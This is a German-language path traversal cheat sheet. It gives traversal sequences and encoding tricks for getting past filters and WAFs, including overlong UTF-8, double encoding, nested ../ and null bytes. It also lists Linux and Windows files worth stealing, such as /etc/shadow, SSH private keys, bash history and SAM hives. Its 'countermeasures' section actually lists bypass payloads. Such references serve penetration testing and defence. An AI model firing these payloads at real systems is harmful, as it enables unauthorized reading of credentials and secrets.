Skip to content

Path Traversal

Path Traversal ist auch als Directory Traversal bekannt. Um Path traversal Attacken auszunutzen, wird in höhere Verzeichnisse gesprungen. Dafür wird die Sequenz ../ genutzt.
Unter Windows kann zusätzlich die Sequenz ..\ genutzt werden.
Eine Datei, die genutzt werden kann um dies zu testen ist unter windows die Datei C:\\Windows\win.ini oder C:\windows\system32\license.rtf als äquivalent zu /etc/passwd. - ../ - ..\ - ..\/

Tools

dotdotpwn

Methodik

  • URL Encoding
  • Double URL Encoding
  • Unicode Encoding .->%u002e, /->%u2215 und \->%u2216
  • Überlanges UTF-8 Enkoding
    • . -> %c0%2e, %e0%40%ae, %c0%ae
    • / -> %c0%af, %e0%80%af, %c0%2f
    • \ -> %c0%5c, %c0%80%5c
  • WAF Entfernung von ../ -> ..././, ...\.\
  • Nutzung von Nullbytes %00
  • Reverse Proxy URL Implementation ..;/
    • Nginx implementiert dies als Directory
    • Tomcat als ../
  • UNC Share Standard Format zur spezifizierung von Ressourcen(Windows hauptsächlich): \\localhost\c$\windows\win.ini
  • ASP NET Cookieless Cookie in URL /admin/(S(X))/main.aspx
  • IIS Short Name
  • Java URL Protokoll url:file:///etc/passwd und url:http://127.0.0.1:8080

Nützliche Linux Daten

Betriebssystem Informationen

/etc/issue
/etc/group
/etc/hosts
/etc/motd

Prozesse

/proc/[0-9]*/fd/[0-9]*   # first number is the PID, second is the filedescriptor
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts

Netzwerk

/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp

Aktueller Pfad

Der folgende Pfad gibt den aktuellen Pfad aus.
Dabei kann auch die Datei weggelassen werden um das aktuelle Directory anzuzeigen mit curl.

/proc/self/cwd/<Datei>
/proc/self/cwd/<Datei>

Indexing

/var/lib/mlocate/mlocate.db
/var/lib/plocate/plocate.db
/var/lib/mlocate.db

Credentials

/etc/passwd
/etc/shadow
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/etc/mysql/my.cnf

Interessante Windows Dateien

c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

Gegenmaßnahmen

Manchmal werden die Directory Traversal Sequenzen blockiert oder entfernt. In diesem Fall kann ein absoluter Pfad angegeben werden. - Nutzung absoluter Pfad - verschachtelte Sequenzen, wenn die Directory Traversal Sequenzen entfernt werden: ....// oder ....\/ - encodings - %2e%2e%2f - %252e%252e%252f - ..%c0%af - ..%ef%bc%8f - %c0%ae%c0%ae%c0%af - %uff0e%uff0e%u2215 - %uff0e%uff0e%u2216 - Erzwungene Nutzung eines speziellen startpunktes: filename=/var/www/images/../../../etc/passwd - Erzwungene Endung entfernung mit nullbyte möglich: ../etc/passwd%00.png

Zusätzliche Encodings sind noch unicode und overlong utf8 unicode